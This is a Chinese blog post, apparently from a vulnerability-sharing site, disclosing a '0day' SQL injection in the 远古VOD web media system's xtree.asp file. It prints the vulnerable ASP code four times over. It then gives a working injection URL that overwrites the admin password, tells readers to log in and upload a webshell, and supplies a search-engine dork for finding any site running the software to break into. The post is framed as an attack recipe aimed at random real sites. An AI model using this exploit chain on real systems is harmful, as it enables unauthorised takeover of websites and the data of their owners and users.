远古VOD(0day)

  • A+
所属分类:漏洞时代
摘要

漏洞文件webmedia/common/function/xtree.asp
〈!–#include file=”../dbcon.inc.asp” –>
〈%
iNode_ID = Request.QueryString(“id”)
if Len(Session(“SuperAdmin”)) > 0 or Len(Session(“LIVEAdmin”)) > 0 or Len(Session(“VODAdmin”)) > 0 then
szSQL = “SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>=20 AND ParentID=” & iNode_ID
else
szSQL = “SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>20 AND ParentID=” & iNode_ID
end if
rsData.Open szSQL,con,1,3
szRetVar = “<?xml version=’1.0′ encoding=’GB2312′?><Root>”
do while not rsData.EOF
szRetVar = szRetVar & “<TypeInfo>”
szRetVar = szRetVar & “<IDN>” & rsData(“Type_ID”) & “</IDN>”
szRetVar = szRetVar & “<ParentID>” & rsData(“ParentID”) & “</ParentID>”
szRetVar = szRetVar & “<TypeName>” & Replace(rsData(“TypeName”), “&”, “&”) & “</TypeName>”
szRetVar = szRetVar & “</TypeInfo>”
rsData.MoveNext
loop
szRetVar = szRetVar & “</Root>”
rsData.Close
Response.CharSet = “GB2312″
Response.C
Response.Expires = -1
Response.Write szRetVar
%>
〈!–#include file=”../dbend.inc.asp” –>
〈!–#include file=”../dbcon.inc.asp” –>
〈%
iNode_ID = Request.QueryString(“id”)
if Len(Session(“SuperAdmin”)) > 0 or Len(Session(“LIVEAdmin”)) > 0 or Len(Session(“VODAdmin”)) > 0 then
szSQL = “SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>=20 AND ParentID=” & iNode_ID
else
szSQL = “SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>20 AND ParentID=” & iNode_ID
end if
rsData.Open szSQL,con,1,3
szRetVar = “<?xml version=’1.0′ encoding=’GB2312′?><Root>”
do while not rsData.EOF
szRetVar = szRetVar & “<TypeInfo>”
szRetVar = szRetVar & “<IDN>” & rsData(“Type_ID”) & “</IDN>”
szRetVar = szRetVar & “<ParentID>” & rsData(“ParentID”) & “</ParentID>”
szRetVar = szRetVar & “<TypeName>” & Replace(rsData(“TypeName”), “&”, “&”) & “</TypeName>”
szRetVar = szRetVar & “</TypeInfo>”
rsData.MoveNext
loop
szRetVar = szRetVar & “</Root>”
rsData.Close
Response.CharSet = “GB2312″
Response.C
Response.Expires = -1
Response.Write szRetVar
%>
〈!–#include file=”../dbend.inc.asp” –>
很容易看出以上存在着DB权限注入
注射地址:http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1
表段名:customer
构造函数 把admin的pass改成fuck
http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1;update%20customer%20set%20UserPass=’633f94d350db34d5’%20where%20UserName=’admin’

漏洞文件webmedia/common/function/xtree.asp
〈!--#include file="../dbcon.inc.asp" -->
〈%
iNode_ID = Request.QueryString("id")
if Len(Session("SuperAdmin")) > 0 or Len(Session("LIVEAdmin")) > 0 or Len(Session("VODAdmin")) > 0 then
szSQL = "SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>=20 AND ParentID=" & iNode_ID
else
szSQL = "SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>20 AND ParentID=" & iNode_ID
end if
rsData.Open szSQL,con,1,3
szRetVar = "<?xml version='1.0' encoding='GB2312'?><Root>"
do while not rsData.EOF
szRetVar = szRetVar & "<TypeInfo>"
szRetVar = szRetVar & "<IDN>" & rsData("Type_ID") & "</IDN>"
szRetVar = szRetVar & "<ParentID>" & rsData("ParentID") & "</ParentID>"
szRetVar = szRetVar & "<TypeName>" & Replace(rsData("TypeName"), "&", "&") & "</TypeName>"
szRetVar = szRetVar & "</TypeInfo>"
rsData.MoveNext
loop
szRetVar = szRetVar & "</Root>"
rsData.Close
Response.CharSet = "GB2312"
Response.C
Response.Expires = -1
Response.Write szRetVar
%>
〈!--#include file="../dbend.inc.asp" -->
〈!--#include file="../dbcon.inc.asp" -->
〈%
iNode_ID = Request.QueryString("id")
if Len(Session("SuperAdmin")) > 0 or Len(Session("LIVEAdmin")) > 0 or Len(Session("VODAdmin")) > 0 then
szSQL = "SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>=20 AND ParentID=" & iNode_ID
else
szSQL = "SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>20 AND ParentID=" & iNode_ID
end if
rsData.Open szSQL,con,1,3
szRetVar = "<?xml version='1.0' encoding='GB2312'?><Root>"
do while not rsData.EOF
szRetVar = szRetVar & "<TypeInfo>"
szRetVar = szRetVar & "<IDN>" & rsData("Type_ID") & "</IDN>"
szRetVar = szRetVar & "<ParentID>" & rsData("ParentID") & "</ParentID>"
szRetVar = szRetVar & "<TypeName>" & Replace(rsData("TypeName"), "&", "&") & "</TypeName>"
szRetVar = szRetVar & "</TypeInfo>"
rsData.MoveNext
loop
szRetVar = szRetVar & "</Root>"
rsData.Close
Response.CharSet = "GB2312"
Response.C
Response.Expires = -1
Response.Write szRetVar
%>
〈!--#include file="../dbend.inc.asp" -->
很容易看出以上存在着DB权限注入
注射地址:http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1
表段名:customer
构造函数 把admin的pass改成fuck
http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1;update%20customer%20set%20UserPass='633f94d350db34d5'%20where%20UserName='admin'

登陆后台 直接上传大马 完事!
测试方法:在google baidu搜:     inurL:webmedia/        随便找个站都可以入侵

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: